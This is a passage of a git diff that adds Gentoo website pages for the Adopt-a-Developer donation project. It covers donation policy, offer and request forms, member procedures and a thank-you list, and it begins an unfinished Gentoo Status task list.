+  Gentoo Foundation Funding and Expenditures</uri> page.
+  This project does not collect any resources itself, it only acts
+  a central point of contact for potential donors and individual 
+  developers.
+</p></longdescription>
+
+<dev role="Member">tsunam</dev>
+
+<extrachapter>
+  <title>Project Status</title>
+  <section>
+  <body>
+
+  <p>
+  This project is out of <c>beta-status</c>. That means that we consider the
+  project working well. Tough, that doesn't mean we are not open to ideas and
+  suggestions.If you'd like to share your ideas about the project with us, 
+  we may be contacted at <mail
+  link="adopt-a-dev@gentoo.org">adopt-a-dev@gentoo.org</mail>. On some donations
+  there might be limitations. We recommend a $300 one, because that's below
+  US-law gift-taxes. This is important since a developer and donor need to sort
+  that out on their own.
+  </p>
+
+  </body>
+  </section>
+</extrachapter>
+
+<extrachapter>
+  <title>The Need for Resources</title>
+  <section>
+  <body>
+
+  <p>
+  A lot of the packages in the tree require specific hardware to test.
+  For example, cdrtools requires a CD burner, qc-usb requires a QuickCam,
+  wireless-tools requires a wireless network card, etc. Donating items
+  like those allows us to ensure they work on the many architectures we
+  support. Hardware donations can also be used to replace broken parts;
+  we all know what it's like to lose a hard drive or some other crucial
+  component. It is especially hard on developers who are students on a
+  budget. We are always looking to support new architectures or
+  architectures that have little developer help. Donating rare and exotic
+  hardware can improve such situations.
+  </p>
+
+  <p>
+  Computer hardware isn't the only thing that a developer might find 
+  useful. Gentoo developers can also benefit greatly from technical 
+  books. Books can enhance a developer's ability to solve bugs and 
+  maintain ebuilds. Books can also aid in the development of Gentoo 
+  related software projects like <uri link="/proj/en/portage">portage</uri>.
+  Passes to technical conferences can help in these areas too.
+  Shell accounts on remote computers can be used for compiling and 
+  testing packages.
+  </p>
+
+  <p>
+  When a developer makes a request, he or she must state the purpose and
+  what project(s) benefit from it. So, a "needed resource" is anything that
+  helps accomplish a project related task for a developer. A full system
+  may be needed in some cases (example, for building releases and testing
+  live CDs). Some architecture teams are seriously lacking the CPU power to
+  build GRP releases in a reasonable amount of time.
+  </p>
+
+  </body>
+  </section>
+</extrachapter>
+
+<extrachapter>
+  <title>Community: How to offer Resources</title>
+  <section>
+  <body>
+
+  <p>
+  If you wish to donate any of the resources listed in the <uri 
+  link="#doc_chap7">Developers Seeking Resources</uri> section or if you 
+  want to purchase 1 or more of those items and have them shipped to a 
+  developer, then you should submit a completed <uri 
+  link="./offer.txt">offer form</uri> to get put in touch with the 
+  developer. Do not contact the developer directly, use 
+  <mail link="adopt-a-dev@gentoo.org">adopt-a-dev@gentoo.org</mail>. We 
+  like to keep track of things to ensure that our lists are as accurate 
+  and as up to date as humanly possible.
+  </p>
+
+  <p>
+  You can also offer up any existing resources you have that are 
+  in working good condition and would enhance the development process.
+  To be listed in the <uri link="#doc_chap8">Community Members 
+  Offering Resources</uri> section, submit a completed <uri
+  link="./offer.txt">offer form</uri> to 
+  <mail link="adopt-a-dev@gentoo.org">adopt-a-dev@gentoo.org</mail>. If 
+  you wish to remain anonymous, please let us know. More details on 
+  privacy in the <uri link="#doc_chap10">Privacy Policy</uri>.
+  </p>
+
+  </body>
+  </section>
+</extrachapter>
+
+<extrachapter>
+  <title>Developers: How to request Resources</title>
+  <section>
+  <body>
+
+  <p>
+  Submit a completed <uri link="./request.txt">request form</uri> to 
+  <mail link="adopt-a-dev@gentoo.org">adopt-a-dev@gentoo.org</mail>, a 
+  team member will review the request and post it to the site. The 
+  review process is only meant to ensure that the item can be used for a 
+  Gentoo project and to ensure that the request is clearly written. In 
+  general, we will post all requests. If we find that your request needs 
+  elucidation, then we will contact you. Your request must be sent from 
+  your @gentoo.org e-mail address.
+  </p>
+
+  <p>
+  You must be an official Gentoo developer for at least 6 months
+  before requesting or receiving resources through adopt a developer.
+  You are limited to 4 open requests at any given time. You may ask for any
+  of your open requests to be changed or removed to make room for a new
+  request. There is no hard limit on the amount of resources you receive.
+  However, please use common sense. Only ask for 
+  things you need and will use to improve Gentoo. Additionally, if you
+  have gotten hardware through adopt-a-dev and you no longer use the
+  hardware or have a need for it, please consider offering it to
+  other developers.
+  </p>
+
+  <p>
+  The adopt a developer project strongly encourages developers who get 
+  resources through adopt a developer to write publicly (<uri 
+  link="http://planet.gentoo.org">planet</uri>, <uri 
+  link="http://forums.gentoo.org">forums</uri>, <uri
+  link="http://www.gentoo.org/main/en/lists.xml">mailing lists</uri>, 
+  etc) about any progress they have made with the help of the donated 
+  resources, what goals they have accomplished, and how the resources 
+  have helped them.
+  </p>
+
+  <p>
+  In the event that a user offers a resource and 2 or more developers
+  want the resource, then the adopt-a-dev team will work with the 
+  developers involved to see if the resource can be shared. If its 
+  something like a complete system, then maybe a shell account could be
+  setup for the other dev(s) involved. If it is a resource that can't easily be 
+  shared, then maybe the developers could swap the item after a certain 
+  amount of time. If those methods fail, then the resource will go to the
+  developer who requested it first. The one who requested it first is the
+  developer whose completed request form arrived first.
+  </p>
+
+  </body>
+  </section>
+</extrachapter>
+
+<extrachapter>
+  <title>Developers Seeking Resources</title>
+  <section>
+  <title>Hardware (Separated Pieces)</title>
+  <body>
+
+  <table>
+    <tr>
+      <th>Developer</th>
+      <th>Location</th>
+      <th>Qnty</th>
+      <th>Resource</th>
+      <th>Purpose</th>
+      <th>Project</th>
+    </tr>
+  </table>
+
+  </body>
+  </section>
+  <section>
+  <title>Hardware (Full Systems)</title>
+  <body>
+
+  <table>
+    <tr>
+      <th>Developer</th>
+      <th>Location</th>
+      <th>Qnty</th>
+      <th>Resource</th>
+      <th>Purpose</th>
+      <th>Project</th>
+    </tr>
+  </table>
+
+  </body>
+  </section>
+  <section>
+  <title>Books</title>
+  <body>
+
+  <table>
+    <tr>
+      <th>Developer</th>
+      <th>Location</th>
+      <th>Qnty</th>
+      <th>Resource</th>
+      <th>Purpose</th> 
+      <th>Project</th>
+    </tr>
+  </table>
+  </body>
+  </section>
+  <section>
+  <title>Other</title>
+  <body>
+
+  <table>
+    <tr>
+      <th>Developer</th>
+      <th>Location</th>
+      <th>Qnty</th>
+      <th>Resource</th>
+      <th>Purpose</th>
+      <th>Project</th>
+    </tr>
+  </table>
+  
+  </body>
+  </section>
+</extrachapter>
+
+<extrachapter>
+  <title>Community Members Offering Resources</title>
+  <section>
+  <body>
+
+  <table>
+    <tr>
+      <th>Name</th>
+      <th>Location</th>
+      <th>Qnty</th>
+      <th>Resource</th>
+    </tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+  <title>Thank You</title>
+  <section>
+  <body>
+
+  <p>
+  The Gentoo project would very much like to thank the following people
+  for their generosity.
+  </p>
+
+  <table>
+    <tr>
+      <th>Donor</th>
+      <th>Developer</th>
+      <th>Qnty</th>
+      <th>Resource</th>
+      <th>Purpose</th>
+      <th>Project</th>
+    </tr>
+<tr>
+  <ti>Ryan Gibbons</ti>
+  <ti>Chris White</ti>
+  <ti>1</ti>
+  <ti>Hosting / Shell Accounts (6mbit, unlimited throughput)</ti>
+  <ti>apache tomcat work</ti>
+  <ti><uri link="http://www.gentoo.org/proj/en/java/">java</uri> </ti>
+</tr>
+<tr>
+  <ti>Andrey Falko</ti>
+  <ti>Christian Heim</ti>
+  <ti>1</ti>
+  <ti>A shell account on a single box with root access and permission to reboot when needed.</ti>
+  <ti>Kernel development, testing, and rollout along with other day to day remote development.</ti>
+  <ti><uri link="http://www.gentoo.org/proj/en/kernel/index.xml">kernel</uri> </ti>
+</tr>
+<tr>
+  <ti>Scott Jubenville</ti>
+  <ti>Chris White</ti>
+  <ti>1</ti>
+  <ti>Book: Programming perl By Larry Wall, Tom Christiansen, Jon Orwant ISBN: 0-596-00027-8</ti>
+  <ti>improve perl knowledge to help with perl packages</ti>
+  <ti><uri link="http://www.gentoo.org/proj/en/perl/">perl</uri> </ti>
+</tr>
+<tr>
+  <ti>Richard Fish</ti>
+  <ti>Chris White</ti>
+  <ti>2</ti>
+  <ti>PC2700 333mhz 512MB RAM</ti>
+  <ti>general development work, improve productivity</ti>
+  <ti><uri link="http://gentoo.org">misc</uri> </ti>
+</tr>
+<tr>
+  <ti>Anonymous Benefactor</ti>
+  <ti>Robin Johnson</ti>
+  <ti>1</ti>
+  <ti>PCI-E SCSI card</ti>
+  <ti>Card required for maintaining packages that deal with tape backup systems.</ti>
+  <ti><uri link="http://www.gentoo.org/proj/en/metastructure/herds/herds.xml#doc_chap10">App-Backup</uri> </ti>
+</tr>
+<tr>
+  <ti>Gordon Pritchard/SFU</ti>
+  <ti>Robin Johnson</ti>
+  <ti>1</ti>
+  <ti>IBM LTO3 external tape drive</ti>
+  <ti>Tape drive assisting in testing of backup applications that interact with Tape drives.</ti>
+  <ti><uri link="http://www.gentoo.org/proj/en/metastructure/herds/herds.xml#doc_chap10">App-Backup</uri> </ti>
+</tr>
+<tr>
+  <ti>Richard Fish</ti>
+  <ti>Steev Klimaszewski</ti>
+  <ti>1</ti>
+  <ti>Seagate 5400 100GB 2.5" PATA HD</ti>
+  <ti>Upgrade a desktop machine which currently has a 20GB HD or a laptop which currently has a 10GB HD.</ti>
+  <ti><uri link="http://www.gentoo.org/proj/en/metastructure/herds/herds.xml#doc_chap68">mobile</uri> <uri link="https://gentopia.gentooexperimental.org/">gentopia</uri> </ti>
+</tr>
+  </table>
+
+  </body>
+  </section>
+</extrachapter>
+
+<extrachapter>
+  <title>Privacy Policy</title>
+  <section>
+  <body>
+
+  <p>
+  We aim to balance the respect for the personal privacy of every donor
+  and potential donor while recognizing their contribution. Donor and 
+  potential donor e-mail addresses will never be posted on the project 
+  page. By default, names will be posted on the project page in the
+  <uri link="#doc_chap8">Community Members Offering Resources</uri>
+  and <uri link="#doc_chap9">Thank You</uri> sections. If you wish to 
+  remain anonymous, please let us know in your correspondence with us.
+  </p>
+
+  </body>
+  </section>
+</extrachapter>
+
+
+<extrachapter>
+  <title>Disclaimer</title>
+  <section>
+  <body>
+
+  <p>
+  This project is only responsible for connecting donors with individual
+  developers. Our responsibilities stop there. We hope all
+  items donated to Gentoo developers are put to good use improving
+  Gentoo. We cannot guarantee that a developer will accomplish all of
+  the goals related to the resource(s) he or she receives.
+  The project does not deal with organizing shipping, nor do we
+  deal with disputes between developers and donors.
+  Gentoo is not a 501(c)(3) organization but is applying for 501(c)(6)
+  status instead. Therefore, donations are not and will not be
+  tax-deductible in the U.S. In other countries, the laws will differ --
+  please check with your lawyer.
+  </p>
+
+  </body>
+  </section>
+</extrachapter>
+
+</project>
+
diff --git a/xml/htdocs/proj/en/userrel/adopt-a-dev/offer.txt b/xml/htdocs/proj/en/userrel/adopt-a-dev/offer.txt
new file mode 100644
index 00000000..158dbfb3
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/adopt-a-dev/offer.txt
@@ -0,0 +1,13 @@
+Adopt a Developer Resource Offer Form
+Revision 1.0 - 28 July 2006
+
+Instructions: use this form to offer to donate a resource. Send a 
+completed copy to adopt-a-dev@gentoo.org.
+
+* What is your name? Do you wish to remain anonymous?
+
+* What resource do you wish to donate? Please be very specific so that 
+a developer will know if the resource fits his or her needs.
+
+* What is your general location? This helps with determining 
+approximate shipping charges.
diff --git a/xml/htdocs/proj/en/userrel/adopt-a-dev/procedures.xml b/xml/htdocs/proj/en/userrel/adopt-a-dev/procedures.xml
new file mode 100644
index 00000000..ba1d0cc8
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/adopt-a-dev/procedures.xml
@@ -0,0 +1,518 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/userrel/adopt-a-dev/procedures.xml,v 1.9 2006/09/03 00:56:03 tcort Exp $ -->
+
+<guide link="/proj/en/devrel/user-relations/adopt-a-dev/adopt-a-dev-procedures.xml">
+
+<title>Adopt a Developer Procedures</title>
+
+<author title="Author">
+  <mail link="tcort@gentoo.org">Thomas Cort</mail>
+</author>
+
+<abstract>
+This document describes how to perform some common tasks required of 
+adopt-a-dev project members.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2006-09-02</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>About</title>
+<body>
+
+<p>
+This document describes how to perform some common tasks required of
+adopt-a-dev project members. It may not address all situations, but it 
+will cover the normal day-to-day tasks. When in doubt, ask for help.
+</p>
+
+</body>
+</section>
+<section>
+<title>Joining the Project</title>
+<body>
+
+<p>
+Help is always welcome. Read through this document and contact the 
+project lead to get started. The project lead will create an account for 
+you which will give you access to our information management web 
+application. The project lead will also add you to the project page and 
+the adopt-a-dev e-mail alias.
+</p>
+
+</body>
+</section>
+<section>
+<title>Leaving the Project</title>
+<body>
+
+<p>
+If you wish to leave, just ask the project lead and he or she will 
+remove your account from the information management web application 
+and remove you from the adopt-a-dev e-mail alias.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Developer Requests</title>
+<section>
+<title>Receiving the E-Mail</title>
+<body>
+
+<p>
+All adopt a developer requests go through our e-mail alias 
+<mail>adopt-a-dev@gentoo.org</mail>. Below is a fictional sample of what 
+such a request might look like.
+</p>
+
+<pre caption="request">
+From: Jurgis Rudkus &lt;jurgis@gentoo.org&gt;
+To: adopt-a-dev@gentoo.org
+Subject: Request for a video capture card
+
+Adopt a Developer Resource Request Form
+Revision 1.0 - 28 July 2006
+
+Instructions: Developers, use this form to request resources.
+Send a completed copy to adopt-a-dev@gentoo.org from your @gentoo.org 
+e-mail address.
+
+* What resource are you requesting? Be sure that the resource is well 
+defined. Think, can someone reading this determine if they have the 
+right hardware to fill the request?
+
+WinTV Theater model 495
+
+* What is the purpose? The purpose must be related to Gentoo and 
+clearly stated.
+
+There is a new package called FactTV (a fork of MythTV) and it supports 
+multiple simultaneous input sources. To fully test the software, I 
+require a second video capture card. 
+
+* What project(s) benefit from you getting the resource? You must name 
+at least 1.
+
+This will benefit the Gentoo Video Disk Recorder (VDR) project which I 
+am a member of.
+
+* What is your general location? This helps prospective donors 
+determine approximate shipping charges.
+
+Chicago, IL, USA.
+
+* When did you become an official developer? Note, you must have been an 
+official Gentoo developer for at least 6 months before requesting or 
+receiving resources through adopt a developer.
+
+June 5, 2002
+</pre>
+
+<p>
+When you see an e-mail like this one and want to process it, send a 
+reply to <mail>adopt-a-dev@gentoo.org</mail> stating that you will 
+handle the request. Sending an e-mail to the alias lets other project 
+members know that the request is being taken care of. This avoids 
+duplicate work.
+</p>
+
+</body>
+</section>
+<section>
+<title>Required Information</title>
+<body>
+
+<p>
+The following is a list of information required before posting a 
+developer request. If the developer did not provide all of the 
+information, he or she should be contacted to get the required 
+information.
+</p>
+
+<ul>
+  <li>
+    <b>resource</b> -
+    The resource must be well defined. Think, can someone reading
+    this determine if they have the right hardware to fill the request?
+    For example, if the developer asks for "2 sticks of 128MB RAM", the 
+    donor doesn't know what speed (i.e. PC100, PC133, etc).
+  </li>
+  <li>
+    <b>purpose</b> - 
+    The purpose must be clear and related to Gentoo. The
+    adopt-a-dev project member shouldn't judge the merit of the 
+    purpose. For example, a request from an alpha developer for a 
+    wireless network card to test/keyword wireless-tools shouldn't be 
+    rejected because few users would use wireless on an alpha. Rather, 
+    the adopt-a-dev project member should ensure that there is a 
+    Gentoo related purpose (i.e. the hardware isn't just for personal 
+    enjoyment) and that the purpose is clearly stated.
+  </li>
+  <li>
+    <b>project</b> -
+    The project(s) that benifit from the developer getting the hardware
+    should be listed as well.
+  </li>
+  <li>
+    <b>location</b> -
+    The developer should give his or her general location. This helps 
+    prospective donors determine approximate shipping charges. If the 
+    developer fails to provide his or her location, the information
+    can usually be found on the <uri 
+    link="http://www.gentoo.org/proj/en/devrel/roll-call/userinfo.xml">roll
+    call</uri>.
+  </li>
+  <li>
+    <b>dev time</b> -
+    The developer must state when he or she became an official Gentoo 
+    developer because he or she must have been an official Gentoo 
+    developer for at least 6 months before requesting or 
+    receiving resources through adopt a developer.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Donor Offers</title>
+<section>
+<title>Receiving the E-Mail</title>
+<body>
+
+<p>
+All adopt a developer offers go through our e-mail alias 
+<mail>adopt-a-dev@gentoo.org</mail>. Below is a fictional sample of what 
+such an offer might look like.
+</p>
+
+<pre caption="offer">
+From:  Ona Rudkus &lt;ona@hotmail.com&gt;
+To: adopt-a-dev@gentoo.org
+Subject: Creative Sound Blaster Audigy2 ZS Platinum for a Dev
+
+Adopt a Developer Resource Offer Form
+Revision 1.0 - 28 July 2006
+
+Instructions: use this form to offer to donate a resource. Send a 
+completed copy to adopt-a-dev@gentoo.org.
+
+* What is your name? Do you wish to remain anonymous?
+
+Ona Rudkus. I would like to remain anonymous. Please do not disclose my 
+name.
+
+* What resource do you wish to donate? Please be very specific so that 
+a developer will know if the resource fits his or her needs.
+
+Creative Sound Blaster Audigy2 ZS Platinum 7.1 channel PCI sound card
+
+* What is your general location? This helps with determining 
+approximate shipping charges.
+
+I'm in Lithuania.
+</pre>
+
+<p>
+When you see an e-mail like this one and want to process it, send a 
+reply to <mail>adopt-a-dev@gentoo.org</mail> stating that you will 
+handle the offer. Sending an e-mail to the alias lets other project 
+members know that the offer is being taken care of. This avoids 
+duplicate work.
+</p>
+
+</body>
+</section>
+<section>
+<title>Required Information</title>
+<body>
+
+<p>
+The following is a list of information required before posting a 
+donor off. If the donor did not provide all of the 
+information, he or she should be contacted to get the required 
+information.
+</p>
+
+<ul>
+  <li>
+    <b>resource</b> -
+    The resource must be well defined. A developer must be able to
+    determine if the hardware fits his or her need and will work on
+    his or her system.
+  </li>
+  <li>
+    <b>location</b> -
+    The donor should give his or her general location. This helps 
+    when estimating shipping charges.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Entering the Data</title>
+<section>
+<title>Logging into the Web Application</title>
+<body>
+
+<p>
+The project maintains a web application for managing all of the project 
+information. When you join the project you will be given access 
+information (URI, username, and password). Use them to log in. If you 
+are having troubles, contact the project lead.
+</p>
+
+</body>
+</section>
+<section>
+<title>Adding the Person</title>
+<body>
+
+<p>
+If the developer or donor have not requested or offered any resources, 
+then their name, e-mail address, and location need to be added to the 
+system. This can be done in the "Add/Change People" section.
+</p>
+
+</body>
+</section>
+<section>
+<title>Adding a Project</title>
+<body>
+
+<p>
+If you are entering a developer request and the related project(s) are 
+not in the system yet, then you can add them in the "Add/Change Project" 
+section.
+</p>
+
+</body>
+</section>
+<section>
+<title>Adding a Resource</title>
+<body>
+
+<p>
+To add a request or an offer for a resource you must add the resource to 
+the system in the "Add/Change Resource" section. There are 4 possible 
+status options.
+</p>
+
+<p>
+Before adding a new developer request, verify that adding the new request will
+not put the developer of the 4 open requests limit. The 4 request limit
+is explained on the project page.
+</p>
+
+<ul>
+<li>
+<b>seeking</b> - select this status when a developer is requesting (i.e. 
+seeking out) a resource. Qnty, Resource, Dev, Purpose, and Project are 
+required fields.
+</li>
+
+<li>
+<b>offering</b> - select this status when a community member is offering 
+to donate a resource. Qnty, Donor, and Resource are required fields.
+</li>
+
+
+<li><b>hidden</b> - select this when you want the record to be hidden from 
+the main project page. You may want to use this status when you have 
+connected a developer and a donor, but the developer has not yet 
+recieved the resource.</li>
+
+<li><b>thanks</b> - select this status when a developer has gotten a 
+resource. Qnty, Donor, Resource, Dev, Purpose, and Project are 
+required fields.</li>
+</ul>
+
+<note>
+You can add a link in a resource listing by using the url bbcode. 
+Example, <c>[url=http://gentoo.org]Gentoo Linux[/url]</c>.
+</note>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Generating the Project Page</title>
+<section>
+<title>Intro</title>
+<body>
+
+<p>
+Manually editing the project page to add, change, and remove resource 
+listings is prone to errors. Since the database contains all of the 
+information for the project page, we will use the web application to 
+output the xml for the project page.
+</p>
+
+</body>
+</section>
+<section>
+<title>Get the XML</title>
+<body>
+
+<p>
+After you've made changes with the web application you will need to 
+update the project page. From within the web application, right click on 
+"Generate Project Page" and save it.
+</p>
+
+</body>
+</section>
+<section>
+<title>Look for Errors and commit</title>
+<body>
+
+<p>
+Look at the document to make sure there were no errors when it was 
+automatically generated. The best way to see the changes is with
+the following command: <c>cvs diff -u</c>. You may also want to run
+it through xmllint and repodoc. Once you are satisfied that the
+document is error free, commit it to cvs normally.
+</p>
+
+</body>
+</section>
+<section>
+<title>Send a confirmation e-mail</title>
+<body>
+
+<p>
+Send an e-mail to the developer who made the request or the donor who 
+offered the resource to let them know that their resource has been added 
+to the list. Also, CC the adopt-a-dev alias so that the other project members
+know the request/offer has been taken care of.
+</p>
+
+<pre caption="sample offer response e-mail">
+Hi [DONORS NAME HERE],
+
+Thank you for the generous offer. I've added it to our project
+page for other developers to find. It should show up on the live site
+in the next hour or so. If a developer could use the resource you are
+offering, we'll put him or her in contact with you.
+
+Thanks again!
+-[YOUR NAME HERE]
+</pre>
+
+<pre caption="sample request response e-mail">
+Hi [DEVS NAME HERE],
+
+I've added your request to the project page. It should show up on
+the live site within the next hour or so. We'll contact you once we
+find a potential donor.
+
+-[YOUR NAME HERE]
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>The Connection</title>
+<section>
+<title>The Connection</title>
+<body>
+
+<p>
+Once a developer requests something that a user is offering or once a 
+user offers something that a developer has requested, there are a few 
+things that need to be done.
+</p>
+
+<ul>
+  <li>
+    E-mail the list telling the other project members that you'll handle 
+    the request (as above).
+  </li>
+  <li>
+    If the item is already listed on the project page, then log into the 
+    web application and set its status to hidden. Follow the procedures 
+    above to generate a new project page and commit it to CVS.
+  </li>
+  <li>
+    Locate the developer and community member e-mail addresses. These 
+    can be found in the e-mails or through the web application.
+  </li>
+  <li>
+    Send an e-mail to both the developer and community member telling 
+    them to contact each other to arrange getting the item to the 
+    developer. CC the adopt-a-dev e-mail alias. Also remind the
+    developer to let us know when we he/she gets the item so that
+    we can list the donor in the 'Thank You' section.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>After the developer gets the resource</title>
+<body>
+
+<p>
+As instructed in the e-mail outlined above, the developer should e-mail 
+us once the resource has arrived. If he/she hasn't e-mail us, then 
+he/she should be contacted a few weeks after to check if he/she got the 
+item.
+</p>
+
+<ul>
+  <li>
+    If the developer sends us an e-mail to let us know about 
+    receiving the item, then you should reply to the alias and to let 
+    the other project members know that you are handling it.
+  </li>
+  <li>
+    Log into the web application and set the status of the resource to 
+    'thanks'.  Follow the procedures above to generate a new project 
+     page and commit it to CVS.
+  </li>
+  <li>
+    Send an e-mail to the developer thanking him or her for 
+    participating, remind him/her that we encourage him/her to write 
+    publicly about the resource, and remind him/her to thank the donor 
+    if he/she already hasn't done so.
+  </li>
+  <li>
+    Send an e-mail to the donor. Thank him/her for donating the 
+    resource.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Misc.</title>
+<section>
+<title>Stale Entries</title>
+<body>
+
+<p>
+Each offer or request is dated. If the offer or request has been list 
+for more than 3 months, then the developer or community member is 
+contacted to inquire if the resource is still available/needed and if it 
+should remain listed on the project page. If no response is received 
+within 2 weeks, then the listing is removed.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/userrel/adopt-a-dev/request.txt b/xml/htdocs/proj/en/userrel/adopt-a-dev/request.txt
new file mode 100644
index 00000000..007b4bcd
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/adopt-a-dev/request.txt
@@ -0,0 +1,24 @@
+Adopt a Developer Resource Request Form
+Revision 1.1 - 28 July 2006
+
+Instructions: Developers, use this form to request resources.
+Send a completed copy to adopt-a-dev@gentoo.org from your @gentoo.org 
+e-mail address.
+
+* What resource are you requesting? Be sure that the resource is well 
+defined. Think, can someone reading this determine if they have the 
+right hardware to fill the request?
+
+* What is the purpose? The purpose must be related to Gentoo and 
+clearly stated.
+
+* What project(s) benefit from you getting the resource? You must name 
+at least 1.
+
+* What is your general location? This helps prospective donors 
+determine approximate shipping charges.
+
+* When did you become an official developer? You can find this out by 
+running `perl_ldap -s ${USER} | grep gentooJoin` on woodpecker.
+Note, you must have been an official Gentoo developer for at least 6 
+months before requesting or receiving resources through adopt a developer.
diff --git a/xml/htdocs/proj/en/userrel/gentoostatus/index.xml b/xml/htdocs/proj/en/userrel/gentoostatus/index.xml
new file mode 100644
index 00000000..256aa162
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/gentoostatus/index.xml
@@ -0,0 +1,271 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Gentoo Status</name>
+<longname>Gentoo Status</longname>
+
+<date>2006-04-28</date>
+
+<author title="Author">
+<mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<description>
+The Gentoo Status Subprojects primary goal is to keep end users up to date on the
+status of the Gentoo Project and all its subprojects.
+</description>
+
+<longdescription>
+
+<p>
+The Gentoo Status Subprojects primary goal is to keep end users up to date on the
+status of the Gentoo Project and all it's subprojects. 
+</p>
+
+<p>
+Presently this will entail a yearly "State of Gentoo" article featured in the GWN.
+To facilitate this all Projects should be encouraged to update their
+/proj/ page and submit a short 1-3 paragraph (or longer) status report.
+</p>
+
+</longdescription>
+
+<resource link="/proj/en/userrel/gentoostatus/status-template.xml.txt">
+Status Report Template
+</resource>
+
+<task lead="" finished="no">
+<name>apache</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/apache/index.xml">Apache</uri></reference>
+</task>
+
+<task lead="azarah, vapier" finished="no">
+<name>base</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/base/index.xml">Base</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>council</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/council/index.xml">Council</uri></reference>
+</task>
+
+<task lead="dberkholz" finished="no">
+<name>desktop</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/desktop/index.xml">Desktop</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>devrel</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/devrel/index.xml">Developer Relations</uri></reference>
+</task>
+
+<task lead="neysx" finished="no">
+<name>documentation</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/gdp/index.xml">Gentoo Documentation Project</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>eselect</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/eselect/index.xml">eselect</uri></reference>
+</task>
+
+<task lead="amne" finished="no">
+<name>Forums</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/forums/index.xml">Forums</uri></reference>
+</task>
+
+<task lead="flameeyes" finished="no">
+<name>gentoo-alt</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/gentoo-alt/index.xml">Gentoo Alt</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>hardened</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/hardened/index.xml">Hardened</uri></reference>
+</task>
+
+<task lead="klieber" finished="no">
+<name>infrastructure</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/infrastructure/index.xml">Infrastructure</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>java</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/java/index.xml">Java</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>kernel</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/kernel/index.xml">Kernel</uri></reference>
+</task>
+
+<task lead="pauldv" finished="no">
+<name>metastructure</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/metastructure/index.xml">Metastructure</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>perl</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/perl/index.xml">Perl</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>portage</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
